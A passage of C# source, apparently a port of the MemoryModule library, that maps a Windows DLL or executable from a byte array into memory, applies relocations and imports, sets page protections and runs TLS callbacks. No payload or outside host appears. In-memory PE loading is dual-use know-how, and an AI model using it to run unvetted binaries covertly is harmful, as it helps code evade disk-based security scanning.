(ExeEntryDelegate)Marshal.GetDelegateForFunctionPointer(exeEntryPtr, typeof(ExeEntryDelegate));\n            }\n        }\n    }\n\n    static void CopySections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders, byte[] data)\n    {\n        IntPtr pSection = Win.IMAGE_FIRST_SECTION(pNTHeaders, OrgNTHeaders.FileHeader.SizeOfOptionalHeader);\n        for (int i = 0; i < OrgNTHeaders.FileHeader.NumberOfSections; i++, pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER))\n        {\n            IMAGE_SECTION_HEADER Section = PtrRead<IMAGE_SECTION_HEADER>(pSection);\n            if (Section.SizeOfRawData == 0)\n            {\n                // section doesn't contain data in the dll itself, but may define uninitialized data\n                uint size = OrgNTHeaders.OptionalHeader.SectionAlignment;\n                if (size > 0)\n                {\n                    IntPtr dest = Win.VirtualAlloc(PtrAdd(pCode, Section.VirtualAddress), (UIntPtr)size, AllocationType.COMMIT, MemoryProtection.READWRITE);\n                    if (dest == IntPtr.Zero) throw new DllException(\"Unable to allocate memory\");\n\n                    // Always use position from file to support alignments smaller than page size (allocation above will align to page size).\n                    dest = PtrAdd(pCode, Section.VirtualAddress);\n\n                    // NOTE: On 64bit systems we truncate to 32bit here but expand again later when \"PhysicalAddress\" is used.\n                    PtrWrite(PtrAdd(pSection, Of.IMAGE_SECTION_HEADER_PhysicalAddress), unchecked((uint)(ulong)(long)dest));\n\n                    Win.MemSet(dest, 0, (UIntPtr)size);\n                }\n\n                // section is empty\n                continue;\n            }\n            else\n            {\n                // commit memory block and copy data from dll\n                IntPtr dest = Win.VirtualAlloc(PtrAdd(pCode, Section.VirtualAddress), (UIntPtr)Section.SizeOfRawData, AllocationType.COMMIT, MemoryProtection.READWRITE);\n                if (dest == IntPtr.Zero) throw new DllException(\"Out of memory\");\n\n                // Always use position from file to support alignments smaller than page size (allocation above will align to page size).\n                dest = PtrAdd(pCode, Section.VirtualAddress);\n                Marshal.Copy(data, checked((int)Section.PointerToRawData), dest, checked((int)Section.SizeOfRawData));\n\n                // NOTE: On 64bit systems we truncate to 32bit here but expand again later when \"PhysicalAddress\" is used.\n                PtrWrite(PtrAdd(pSection, Of.IMAGE_SECTION_HEADER_PhysicalAddress), unchecked((uint)(ulong)(long)dest));\n            }\n        }\n    }\n\n    static bool PerformBaseRelocation(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr delta)\n    {\n        if (OrgNTHeaders.OptionalHeader.BaseRelocationTable.Size == 0) return (delta == IntPtr.Zero);\n\n        for (IntPtr pRelocation = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.BaseRelocationTable.VirtualAddress); ;)\n        {\n            IMAGE_BASE_RELOCATION Relocation = PtrRead<IMAGE_BASE_RELOCATION>(pRelocation);\n            if (Relocation.VirtualAdress == 0) break;\n\n            IntPtr pDest = PtrAdd(pCode, Relocation.VirtualAdress);\n            IntPtr pRelInfo = PtrAdd(pRelocation, Sz.IMAGE_BASE_RELOCATION);\n            uint RelCount = ((Relocation.SizeOfBlock - Sz.IMAGE_BASE_RELOCATION) / 2);\n            for (uint i = 0; i != RelCount; i++, pRelInfo = PtrAdd(pRelInfo, sizeof(ushort)))\n            {\n                ushort relInfo = (ushort)Marshal.PtrToStructure(pRelInfo, typeof(ushort));\n                BasedRelocationType type = (BasedRelocationType)(relInfo >> 12); // the upper 4 bits define the type of relocation\n                int offset = (relInfo & 0xfff); // the lower 12 bits define the offset\n                IntPtr pPatchAddr = PtrAdd(pDest, offset);\n\n                switch (type)\n                {\n                    case BasedRelocationType.IMAGE_REL_BASED_ABSOLUTE:\n                        // skip relocation\n                        break;\n                    case BasedRelocationType.IMAGE_REL_BASED_HIGHLOW:\n                        // change complete 32 bit address\n                        int patchAddrHL = (int)Marshal.PtrToStructure(pPatchAddr, typeof(int));\n                        patchAddrHL += (int)delta;\n                        Marshal.StructureToPtr(patchAddrHL, pPatchAddr, false);\n                        break;\n                    case BasedRelocationType.IMAGE_REL_BASED_DIR64:\n                        long patchAddr64 = (long)Marshal.PtrToStructure(pPatchAddr, typeof(long));\n                        patchAddr64 += (long)delta;\n                        Marshal.StructureToPtr(patchAddr64, pPatchAddr, false);\n                        break;\n                }\n            }\n\n            // advance to next relocation block\n            pRelocation = PtrAdd(pRelocation, Relocation.SizeOfBlock);\n        }\n        return true;\n    }\n\n    static IntPtr[] BuildImportTable(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode)\n    {\n        System.Collections.Generic.List<IntPtr> ImportModules = new System.Collections.Generic.List<IntPtr>();\n        uint NumEntries = OrgNTHeaders.OptionalHeader.ImportTable.Size / Sz.IMAGE_IMPORT_DESCRIPTOR;\n        IntPtr pImportDesc = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.ImportTable.VirtualAddress);\n        for (uint i = 0; i != NumEntries; i++, pImportDesc = PtrAdd(pImportDesc, Sz.IMAGE_IMPORT_DESCRIPTOR))\n        {\n            IMAGE_IMPORT_DESCRIPTOR ImportDesc = PtrRead<IMAGE_IMPORT_DESCRIPTOR>(pImportDesc);\n            if (ImportDesc.Name == 0) break;\n\n            IntPtr handle = Win.LoadLibrary(PtrAdd(pCode, ImportDesc.Name));\n            if (PtrIsInvalidHandle(handle))\n            {\n                foreach (IntPtr m in ImportModules) Win.FreeLibrary(m);\n                ImportModules.Clear();\n                throw new DllException(\"Can't load libary \" + Marshal.PtrToStringAnsi(PtrAdd(pCode, ImportDesc.Name)));\n            }\n            ImportModules.Add(handle);\n\n            IntPtr pThunkRef, pFuncRef;\n            if (ImportDesc.OriginalFirstThunk > 0)\n            {\n                pThunkRef = PtrAdd(pCode, ImportDesc.OriginalFirstThunk);\n                pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk);\n            }\n            else\n            {\n                // no hint table\n                pThunkRef = PtrAdd(pCode, ImportDesc.FirstThunk);\n                pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk);\n            }\n            for (int SzRef = IntPtr.Size; ; pThunkRef = PtrAdd(pThunkRef, SzRef), pFuncRef = PtrAdd(pFuncRef, SzRef))\n            {\n                IntPtr ReadThunkRef = PtrRead<IntPtr>(pThunkRef), WriteFuncRef;\n                if (ReadThunkRef == IntPtr.Zero) break;\n                if (Win.IMAGE_SNAP_BY_ORDINAL(ReadThunkRef))\n                {\n                    WriteFuncRef = Win.GetProcAddress(handle, Win.IMAGE_ORDINAL(ReadThunkRef));\n                }\n                else\n                {\n                    WriteFuncRef = Win.GetProcAddress(handle, PtrAdd(PtrAdd(pCode, ReadThunkRef), Of.IMAGE_IMPORT_BY_NAME_Name));\n                }\n                if (WriteFuncRef == IntPtr.Zero) throw new DllException(\"Can't get adress for imported function\");\n                PtrWrite(pFuncRef, WriteFuncRef);\n            }\n        }\n        return (ImportModules.Count > 0 ? ImportModules.ToArray() : null);\n    }\n\n    static void FinalizeSections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders, uint PageSize)\n    {\n        UIntPtr imageOffset = (Is64BitProcess ? (UIntPtr)(unchecked((ulong)pCode.ToInt64()) & 0xffffffff00000000) : UIntPtr.Zero);\n        IntPtr pSection = Win.IMAGE_FIRST_SECTION(pNTHeaders, OrgNTHeaders.FileHeader.SizeOfOptionalHeader);\n        IMAGE_SECTION_HEADER Section = PtrRead<IMAGE_SECTION_HEADER>(pSection);\n        SectionFinalizeData sectionData = new SectionFinalizeData();\n        sectionData.Address = PtrBitOr(PtrAdd((IntPtr)0, Section.PhysicalAddress), imageOffset);\n        sectionData.AlignedAddress = PtrAlignDown(sectionData.Address, (UIntPtr)PageSize);\n        sectionData.Size = GetRealSectionSize(ref Section, ref OrgNTHeaders);\n        sectionData.Characteristics = Section.Characteristics;\n        sectionData.Last = false;\n        pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER);\n\n        // loop through all sections and change access flags\n        for (int i = 1; i < OrgNTHeaders.FileHeader.NumberOfSections; i++, pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER))\n        {\n            Section = PtrRead<IMAGE_SECTION_HEADER>(pSection);\n            IntPtr sectionAddress = PtrBitOr(PtrAdd((IntPtr)0, Section.PhysicalAddress), imageOffset);\n            IntPtr alignedAddress = PtrAlignDown(sectionAddress, (UIntPtr)PageSize);\n            IntPtr sectionSize = GetRealSectionSize(ref Section, ref OrgNTHeaders);\n\n            // Combine access flags of all sections that share a page\n            // TODO(fancycode): We currently share flags of a trailing large section with the page of a first small section. This should be optimized.\n            IntPtr a = PtrAdd(sectionData.Address, sectionData.Size);\n            ulong b = unchecked((ulong)a.ToInt64()), c = unchecked((ulong)alignedAddress);\n\n            if (sectionData.AlignedAddress == alignedAddress || unchecked((ulong)PtrAdd(sectionData.Address, sectionData.Size).ToInt64()) > unchecked((ulong)alignedAddress))\n            {\n                // Section shares page with previous\n                if ((Section.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0)\n                {\n                    sectionData.Characteristics = (sectionData.Characteristics | Section.Characteristics) & ~Win.IMAGE_SCN_MEM_DISCARDABLE;\n                }\n                else\n                {\n                    sectionData.Characteristics |= Section.Characteristics;\n                }\n                sectionData.Size = PtrSub(PtrAdd(sectionAddress, sectionSize), sectionData.Address);\n                continue;\n            }\n\n            FinalizeSection(sectionData, PageSize, OrgNTHeaders.OptionalHeader.SectionAlignment);\n\n            sectionData.Address = sectionAddress;\n            sectionData.AlignedAddress = alignedAddress;\n            sectionData.Size = sectionSize;\n            sectionData.Characteristics = Section.Characteristics;\n        }\n        sectionData.Last = true;\n        FinalizeSection(sectionData, PageSize, OrgNTHeaders.OptionalHeader.SectionAlignment);\n    }\n\n    static void FinalizeSection(SectionFinalizeData SectionData, uint PageSize, uint SectionAlignment)\n    {\n        if (SectionData.Size == IntPtr.Zero)\n            return;\n\n        if ((SectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) > 0)\n        {\n            // section is not needed any more and can safely be freed\n            if (SectionData.Address == SectionData.AlignedAddress &&\n                (SectionData.Last ||\n                    SectionAlignment == PageSize ||\n                    (unchecked((ulong)SectionData.Size.ToInt64()) % PageSize) == 0)\n                )\n            {\n                // Only allowed to decommit whole pages\n                Win.VirtualFree(SectionData.Address, SectionData.Size, AllocationType.DECOMMIT);\n            }\n            return;\n        }\n\n        // determine protection flags based on characteristics\n        int readable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_READ) != 0 ? 1 : 0;\n        int writeable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_WRITE) != 0 ? 1 : 0;\n        int executable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_EXECUTE) != 0 ? 1 : 0;\n        uint protect = (uint)ProtectionFlags[executable, readable, writeable];\n        if ((SectionData.Characteristics & Win.IMAGE_SCN_MEM_NOT_CACHED) > 0) protect |= Win.PAGE_NOCACHE;\n\n        // change memory access flags\n        uint oldProtect;\n        if (!Win.VirtualProtect(SectionData.Address, SectionData.Size, protect, out oldProtect))\n            throw new DllException(\"Error protecting memory page\");\n    }\n\n    static void ExecuteTLS(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders)\n    {\n        if (OrgNTHeaders.OptionalHeader.TLSTable.VirtualAddress == 0) return;\n        IMAGE_TLS_DIRECTORY tlsDir = PtrRead<IMAGE_TLS_DIRECTORY>(PtrAdd(pCode, OrgNTHeaders.OptionalHeader.TLSTable.VirtualAddress));\n        IntPtr pCallBack = tlsDir.AddressOfCallBacks;\n        if (pCallBack != IntPtr.Zero)\n        {\n            for (IntPtr Callback; (Callback = PtrRead<IntPtr>(pCallBack)) != IntPtr.Zero; pCallBack = PtrAdd(pCallBack, IntPtr.Size))\n            {\n                ImageTlsDelegate tls = (ImageTlsDelegate)Marshal.GetDelegateForFunctionPointer(Callback, typeof(ImageTlsDelegate));\n                tls(pCode, DllReason.DLL_PROCESS_ATTACH, IntPtr.Zero);\n            }\n        }\n    }\n\n    /// <summary>\n    /// Check if the process runs in 64bit mode or in 32bit mode\n    /// </summary>\n    /// <returns>True if process is 64bit, false if it is 32bit</returns>\n    public static bool Is64BitProcess { get { return IntPtr.Size == 8; } }\n\n    static uint GetMachineType() { return (IntPtr.Size == 8 ? Win.IMAGE_FILE_MACHINE_AMD64 : Win.IMAGE_FILE_MACHINE_I386); }\n\n    static uint AlignValueUp(uint value, uint alignment) { return (value + alignment - 1) & ~(alignment - 1); }\n\n    static IntPtr GetRealSectionSize(ref IMAGE_SECTION_HEADER Section, ref IMAGE_NT_HEADERS NTHeaders)\n    {\n        uint size = Section.SizeOfRawData;\n        if (size == 0)\n        {\n            if ((Section.Characteristics & Win.IMAGE_SCN_CNT_INITIALIZED_DATA) > 0)\n            {\n                size = NTHeaders.OptionalHeader.SizeOfInitializedData;\n            }\n            else if ((Section.Characteristics & Win.IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0)\n            {\n                size = NTHeaders.OptionalHeader.SizeOfUninitializedData;\n            }\n        }\n        return (IntPtr.Size == 8 ? (IntPtr)unchecked((long)size) : (IntPtr)unchecked((int)size));\n    }\n\n    public void Close() { ((IDisposable)this).Dispose(); }\n\n    void IDisposable.Dispose()\n    {\n        Dispose();\n        GC.SuppressFinalize(this);\n    }\n\n    public void Dispose()\n    {\n        if (_initialized)\n        {\n            if (_dllEntry != null) _dllEntry.Invoke(pCode, DllReason.DLL_PROCESS_DETACH, IntPtr.Zero);\n            _initialized = false;\n        }\n\n        if (ImportModules != null)\n        {\n            foreach (IntPtr m in ImportModules) if (!PtrIsInvalidHandle(m)) Win.FreeLibrary(m);\n            ImportModules = null;\n        }\n\n        if (pCode != IntPtr.Zero)\n        {\n            Win.VirtualFree(pCode, IntPtr.Zero, AllocationType.RELEASE);\n            pCode = IntPtr.Zero;\n            pNTHeaders = IntPtr.Zero;\n        }\n\n        Disposed = true;\n    }\n\n    // Protection flags for memory pages (Executable, Readable, Writeable)\n    static readonly PageProtection[,,] ProtectionFlags = new PageProtection[2, 2, 2]\n    {\n        {\n            // not executable\n            { PageProtection.NOACCESS, PageProtection.WRITECOPY },\n            { PageProtection.READONLY, PageProtection.READWRITE }\n        },\n        {\n            // executable\n            { PageProtection.EXECUTE, PageProtection.EXECUTE_WRITECOPY },\n            { PageProtection.EXECUTE_READ, PageProtection.EXECUTE_READWRITE }\n        }\n    };\n\n    struct SectionFinalizeData\n    {\n        internal IntPtr Address;\n        internal IntPtr AlignedAddress;\n        internal IntPtr Size;\n        internal uint Characteristics;\n        internal bool Last;\n    }\n\n    class Of\n    {\n        internal const int IMAGE_NT_HEADERS_OptionalHeader = 24;\n        internal const int IMAGE_SECTION_HEADER_PhysicalAddress = 8;\n        internal const int IMAGE_IMPORT_BY_NAME_Name = 2;\n    }\n\n    class Of32\n    {\n        internal const int IMAGE_OPTIONAL_HEADER_ImageBase = 28;\n        internal const int IMAGE_OPTIONAL_HEADER_ExportTable = 96;\n    }\n\n    class Of64\n    {\n        internal const int IMAGE_OPTIONAL_HEADER_ImageBase = 24;\n        internal const int IMAGE_OPTIONAL_HEADER_ExportTable = 112;\n    }\n\n    class Sz\n    {\n        internal const int IMAGE_SECTION_HEADER = 40;\n        internal const int IMAGE_BASE_RELOCATION = 8;\n        internal const int IMAGE_IMPORT_DESCRIPTOR = 20;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_DOS_HEADER\n    {\n        public ushort e_magic;    // Magic number\n        public ushort e_cblp;     // Bytes on last page of file\n        public ushort e_cp;       // Pages in file\n        public ushort e_crlc;     // Relocations\n        public ushort e_cparhdr;  // Size of header in paragraphs\n        public ushort e_minalloc; // Minimum extra paragraphs needed\n        public ushort e_maxalloc; // Maximum extra paragraphs needed\n        public ushort e_ss;       // Initial (relative) SS value\n        public ushort e_sp;       // Initial SP value\n        public ushort e_csum;     // Checksum\n        public ushort e_ip;       // Initial IP value\n        public ushort e_cs;       // Initial (relative) CS value\n        public ushort e_lfarlc;   // File address of relocation table\n        public ushort e_ovno;     // Overlay number\n        public ushort e_res1a, e_res1b, e_res1c, e_res1d; // Reserved words\n        public ushort e_oemid;    // OEM identifier (for e_oeminfo)\n        public ushort e_oeminfo;  // OEM information; e_oemid specific\n        public ushort e_res2a, e_res2b, e_res2c, e_res2d, e_res2e, e_res2f, e_res2g, e_res2h, e_res2i, e_res2j; // Reserved words\n        public int e_lfanew;      // File address of new exe header\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_NT_HEADERS\n    {\n        public uint Signature;\n        public IMAGE_FILE_HEADER FileHeader;\n        public IMAGE_OPTIONAL_HEADER OptionalHeader;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_FILE_HEADER\n    {\n        public ushort Machine;\n        public ushort NumberOfSections;\n        public uint TimeDateStamp;\n        public uint PointerToSymbolTable;\n        public uint NumberOfSymbols;\n        public ushort SizeOfOptionalHeader;\n        public ushort Characteristics;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_OPTIONAL_HEADER\n    {\n        public MagicType Magic;\n        public byte MajorLinkerVersion;\n        public byte MinorLinkerVersion;\n        public uint SizeOfCode;\n        public uint SizeOfInitializedData;\n        public uint SizeOfUninitializedData;\n        public uint AddressOfEntryPoint;\n        public uint BaseOfCode;\n        public ulong ImageBaseLong;\n        public uint SectionAlignment;\n        public uint FileAlignment;\n        public ushort MajorOperatingSystemVersion;\n        public ushort MinorOperatingSystemVersion;\n        public ushort MajorImageVersion;\n        public ushort MinorImageVersion;\n        public ushort MajorSubsystemVersion;\n        public ushort MinorSubsystemVersion;\n        public uint Win32VersionValue;\n        public uint SizeOfImage;\n        public uint SizeOfHeaders;\n        public uint CheckSum;\n        public SubSystemType Subsystem;\n        public DllCharacteristicsType DllCharacteristics;\n        public IntPtr SizeOfStackReserve;\n        public IntPtr SizeOfStackCommit;\n        public IntPtr SizeOfHeapReserve;\n        public IntPtr SizeOfHeapCommit;\n        public uint LoaderFlags;\n        public uint NumberOfRvaAndSizes;\n        public IMAGE_DATA_DIRECTORY ExportTable;\n        public IMAGE_DATA_DIRECTORY ImportTable;\n        public IMAGE_DATA_DIRECTORY ResourceTable;\n        public IMAGE_DATA_DIRECTORY ExceptionTable;\n        public IMAGE_DATA_DIRECTORY CertificateTable;\n        public IMAGE_DATA_DIRECTORY BaseRelocationTable;\n        public IMAGE_DATA_DIRECTORY Debug;\n        public IMAGE_DATA_DIRECTORY Architecture;\n        public IMAGE_DATA_DIRECTORY GlobalPtr;\n        public IMAGE_DATA_DIRECTORY TLSTable;\n        public IMAGE_DATA_DIRECTORY LoadConfigTable;\n        public IMAGE_DATA_DIRECTORY BoundImport;\n        public IMAGE_DATA_DIRECTORY IAT;\n        public IMAGE_DATA_DIRECTORY DelayImportDescriptor;\n        public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;\n        public IMAGE_DATA_DIRECTORY Reserved;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_DATA_DIRECTORY\n    {\n        public uint VirtualAddress;\n        public uint Size;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_SECTION_HEADER\n    {\n        public ulong Name; //8 byte string\n        public uint PhysicalAddress;\n        public uint VirtualAddress;\n        public uint SizeOfRawData;\n        public uint PointerToRawData;\n        public uint PointerToRelocations;\n        public uint PointerToLinenumbers;\n        public ushort NumberOfRelocations;\n        public ushort NumberOfLinenumbers;\n        public uint Characteristics;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_BASE_RELOCATION\n    {\n        public uint VirtualAdress;\n        public uint SizeOfBlock;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_IMPORT_DESCRIPTOR\n    {\n        public uint OriginalFirstThunk;\n        public uint TimeDateStamp;\n        public uint ForwarderChain;\n        public uint Name;\n        public uint FirstThunk;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_EXPORT_DIRECTORY\n    {\n        public uint Characteristics;\n        public uint TimeDateStamp;\n        public ushort MajorVersion;\n        public ushort MinorVersion;\n        public uint Name;\n        public uint Base;\n        public uint NumberOfFunctions;\n        public uint NumberOfNames;\n        public uint AddressOfFunctions;     // RVA from base of image\n        public uint AddressOfNames;         // RVA from base of image\n        public uint AddressOfNameOrdinals;  // RVA from base of image\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct SYSTEM_INFO\n    {\n        public ushort wProcessorArchitecture;\n        public ushort wReserved;\n        public uint dwPageSize;\n        public IntPtr lpMinimumApplicationAddress;\n        public IntPtr lpMaximumApplicationAddress;\n        public IntPtr dwActiveProcessorMask;\n        public uint dwNumberOfProcessors;\n        public uint dwProcessorType;\n        public uint dwAllocationGranularity;\n        public ushort wProcessorLevel;\n        public ushort wProcessorRevision;\n    };\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_TLS_DIRECTORY\n    {\n        public IntPtr StartAddressOfRawData;\n        public IntPtr EndAddressOfRawData;\n        public IntPtr AddressOfIndex;\n        public IntPtr AddressOfCallBacks;\n        public IntPtr SizeOfZeroFill;\n        public uint Characteristics;\n    }\n\n    enum MagicType : ushort\n    {\n        IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b,\n        IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b\n    }\n\n    enum SubSystemType : ushort\n    {\n        IMAGE_SUBSYSTEM_UNKNOWN = 0,\n        IMAGE_SUBSYSTEM_NATIVE = 1,\n        IMAGE_SUBSYSTEM_WINDOWS_GUI = 2,\n        IMAGE_SUBSYSTEM_WINDOWS_CUI = 3,\n        IMAGE_SUBSYSTEM_POSIX_CUI = 7,\n        IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9,\n        IMAGE_SUBSYSTEM_EFI_APPLICATION = 10,\n        IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11,\n        IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12,\n        IMAGE_SUBSYSTEM_EFI_ROM = 13,\n        IMAGE_SUBSYSTEM_XBOX = 14\n    }\n\n    enum DllCharacteristicsType : ushort\n    {\n        RES_0 = 0x0001,\n        RES_1 = 0x0002,\n        RES_2 = 0x0004,\n        RES_3 = 0x0008,\n        IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040,\n        IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080,\n        IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100,\n        IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200,\n        IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400,\n        IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800,\n        RES_4 = 0x1000,\n        IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000,\n        IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000\n    }\n\n    enum BasedRelocationType\n    {\n        IMAGE_REL_BASED_ABSOLUTE = 0,\n        IMAGE_REL_BASED_HIGH = 1,\n        IMAGE_REL_BASED_LOW = 2,\n        IMAGE_REL_BASED_HIGHLOW = 3,\n        IMAGE_REL_BASED_HIGHADJ = 4,\n        IMAGE_REL_BASED_MIPS_JMPADDR = 5,\n        IMAGE_REL_BASED_MIPS_JMPADDR16 = 9,\n        IMAGE_REL_BASED_IA64_IMM64 = 9,\n        IMAGE_REL_BASED_DIR64 = 10\n    }\n\n    enum AllocationType : uint\n    {\n        COMMIT = 0x1000,\n        RESERVE = 0x2000,\n        RESET = 0x80000,\n        LARGE_PAGES = 0x20000000,\n        PHYSICAL = 0x400000,\n        TOP_DOWN = 0x100000,\n        WRITE_WATCH = 0x200000,\n        DECOMMIT = 0x4000,\n        RELEASE = 0x8000\n    }\n\n    enum MemoryProtection : uint\n    {\n        EXECUTE = 0x10,\n        EXECUTE_READ = 0x20,\n        EXECUTE_READWRITE = 0x40,\n        EXECUTE_WRITECOPY = 0x80,\n        NOACCESS = 0x01,\n        READONLY = 0x02,\n        READWRITE = 0x04,\n        WRITECOPY = 0x08,\n        GUARD_Modifierflag = 0x100,\n        NOCACHE_Modifierflag = 0x200,\n        WRITECOMBINE_Modifierflag = 0x400\n    }\n\n    enum PageProtection\n    {\n        NOACCESS = 0x01,\n        READONLY = 0x02,\n        READWRITE = 0x04,\n        WRITECOPY = 0x08,\n        EXECUTE = 0x10,\n        EXECUTE_READ = 0x20,\n        EXECUTE_READWRITE = 0x40,\n        EXECUTE_WRITECOPY = 0x80,\n        GUARD = 0x100,\n        NOCACHE = 0x200,\n        WRITECOMBINE = 0x400,\n    }\n\n    enum ImageSectionFlags : uint\n    {\n        IMAGE_SCN_LNK_NRELOC_OVFL = 0x01000000,  // Section contains extended relocations.\n        IMAGE_SCN_MEM_DISCARDABLE = 0x02000000,  // Section can be discarded.\n        IMAGE_SCN_MEM_NOT_CACHED = 0x04000000,  // Section is not cachable.\n        IMAGE_SCN_MEM_NOT_PAGED = 0x08000000, // Section is not pageable.\n        IMAGE_SCN_MEM_SHARED = 0x10000000,  // Section is shareable.\n        IMAGE_SCN_MEM_EXECUTE = 0x20000000, // Section is executable.\n        IMAGE_SCN_MEM_READ = 0x40000000, // Section is readable.\n        IMAGE_SCN_MEM_WRITE = 0x80000000  // Section is writeable.\n    }\n\n    enum DllReason : uint\n    {\n        DLL_PROCESS_ATTACH = 1,\n        DLL_THREAD_ATTACH = 2,\n        DLL_THREAD_DETACH = 3,\n        DLL_PROCESS_DETACH = 0\n    }\n\n    class Win\n    {\n        public const ushort IMAGE_DOS_SIGNATURE = 0x5A4D;\n        public const uint IMAGE_NT_SIGNATURE = 0x00004550;\n        public const uint IMAGE_FILE_MACHINE_I386 = 0x014c;\n        public const uint IMAGE_FILE_MACHINE_AMD64 = 0x8664;\n        public const uint PAGE_NOCACHE = 0x200;\n        public const uint IMAGE_SCN_CNT_INITIALIZED_DATA = 0x00000040;\n        public const uint IMAGE_SCN_CNT_UNINITIALIZED_DATA = 0x00000080;\n        public const uint IMAGE_SCN_MEM_DISCARDABLE = 0x02000000;\n        public const uint IMAGE_SCN_MEM_NOT_CACHED = 0x04000000;\n        public const uint IMAGE_FILE_DLL = 0x2000;\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);\n\n        [DllImport(\"msvcrt.dll\", EntryPoint = \"memset\", CallingConvention = CallingConvention.Cdecl, SetLastError = false)]\n        public static extern IntPtr MemSet(IntPtr dest, int c, UIntPtr count);\n\n        [DllImport(\"kernel32.dll\", CharSet = CharSet.Ansi, SetLastError = true)]\n        public static extern IntPtr LoadLibrary(IntPtr lpFileName);\n\n        [DllImport(\"kernel32.dll\", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]\n        public static extern IntPtr GetProcAddress(IntPtr hModule, IntPtr procName);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern bool VirtualFree(IntPtr lpAddress, IntPtr dwSize, AllocationType dwFreeType);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern bool VirtualProtect(IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern bool FreeLibrary(IntPtr hModule);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern void GetNativeSystemInfo(out SYSTEM_INFO lpSystemInfo);\n\n        // Equivalent to the IMAGE_FIRST_SECTION macro\n        public static IntPtr IMAGE_FIRST_SECTION(IntPtr pNTHeader, ushort ntheader_FileHeader_SizeOfOptionalHeader)\n        {\n            return PtrAdd(pNTHeader, Of.IMAGE_NT_HEADERS_OptionalHeader + (int)ntheader_FileHeader_SizeOfOptionalHeader);\n        }\n\n        // Equivalent to the IMAGE_FIRST_SECTION macro\n        public static int IMAGE_FIRST_SECTION(int lfanew, ushort ntheader_FileHeader_SizeOfOptionalHeader)\n        {\n            return lfanew + Of.IMAGE_NT_HEADERS_OptionalHeader + ntheader_FileHeader_SizeOfOptionalHeader;\n        }\n\n        // Equivalent to the IMAGE_ORDINAL32/64 macros\n        public static IntPtr IMAGE_ORDINAL(IntPtr ordinal)\n        {\n            return (IntPtr)(int)(unchecked((ulong)ordinal.ToInt64()) & 0xffff);\n        }\n\n        // Equivalent to the IMAGE_SNAP_BY_ORDINAL32/64 macro\n        public static bool IMAGE_SNAP_BY_ORDINAL(IntPtr ordinal)\n        {\n            return (IntPtr.Size == 8 ? (ordinal.ToInt64() < 0) : (ordinal.ToInt32() < 0));\n        }\n    }\n\n    static T PtrRead<T>(IntPtr ptr) { return (T)Marshal.PtrToStructure(ptr, typeof(T)); }\n    static void PtrWrite<T>(IntPtr ptr, T val) { Marshal.StructureToPtr(val, ptr, false); }\n    static IntPtr PtrAdd(IntPtr p, int v) { return (IntPtr)(p.ToInt64() + v); }\n    static IntPtr PtrAdd(IntPtr p, uint v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + unchecked((long)v)) : (IntPtr)(p.ToInt32() + unchecked((int)v))); }\n    static IntPtr PtrAdd(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + v.ToInt64()) : (IntPtr)(p.ToInt32() + v.ToInt32())); }\n    static IntPtr 